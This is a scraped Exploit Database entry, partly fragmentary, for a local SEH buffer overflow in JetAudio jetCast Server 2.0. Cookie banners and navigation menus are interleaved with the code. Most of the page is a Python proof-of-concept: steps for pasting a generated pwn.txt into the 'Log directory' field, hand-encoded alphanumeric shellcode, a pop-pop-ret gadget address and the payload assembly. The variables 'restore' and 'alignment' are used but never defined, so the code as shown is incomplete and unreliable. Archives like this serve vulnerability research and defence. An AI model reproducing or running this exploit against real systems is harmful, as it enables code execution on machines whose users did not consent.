

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

# JetAudio jetCast Server 2.0 - 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow

**EDB-ID:**

46854

**CVE:**

N/A

**EDB Verified:** ✗

**Author:**

[CONNOR MCGARR](#)

**Type:**

[LOCAL](#)



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
# Title: JetAudio jetCast Server 2.0 'Log Directory' Local SEH Alphanumeric
Encoded Buffer Overflow
# Date: May 13th, 2019
# Author: Connor McGarr (https://connormcgarr.github.io)
# Vendor Homepage: http://www.jetaudio.com/
# Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-
d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe
# Version v2.0
# Tested on: Windows XP SP3 EN
```

```
# TO RUN:
# 1. Run python script
# 2. Copy contents of pwn.txt
# 3. Open jetCast
# 4. Select Config
# 5. Paste contents of pwn.txt into "Log directory" field
# 6. Click "OK"
# 7. Click "Start"
```

```
# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01" # and eax, 0x01010101
zero += "\x25\x10\x10\x10\x10" # and eax, 0x10101010
```


**Cookiebot**  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details >](#)

```
shellcode += "\x20\x14\x20\x55\x20" # sub eax, 0x20552014
shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14
shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16
shellcode += "\x50" # push eax
```

```
# 24121729 24121739 2414194A
```

```
shellcode += zero
shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729
shellcode += "\x2d\x39\x17\x12\x24" # sub eax, 0x24121739
shellcode += "\x2d\x4a\x19\x14\x24" # sub eax, 0x2414194A (was 40
at the end, but a miscalc happened. Changed to 4A)
shellcode += "\x50" # push eax
```

```
# 34313635 34313434 34313434
```

```
shellcode += zero
shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x50" # push eax
```

```
# 323A1245 323A1245 333A1245
```

```
shellcode += zero
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245
shellcode += "\x50" # push eax
```

```
# Restore old stack pointer. MOV ECX,ESP
```

```
move = zero
```

```
move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x403F2711
```

```
move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711
```

```
move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811
```

```
move += "\x50" # push eax
```

```
payload = "\x41" * 520
```

```
payload += "\x70\x06\x71\x06" # J0 6 bytes. If jump fails,
default to JNO 6 bytes into shellcode.
```

```
payload += "\x2d\x10\x40\x5f" # pop pop ret MFC42.DLL
```

```
payload += "\x41" * 2 # Padding to reach first instruction
```

```
payload += restore
```

```
payload += alignment
```

```
payload += shellcode
```

```
payload += move
```

```
# Using ECX for holding old ESP. \x41 = INC ECX
```

```
# so using \x42 = INC EDX instead.
```

```
payload += "\x42" * (5000-len(payload))
```


**Cookiebot**  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >


EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.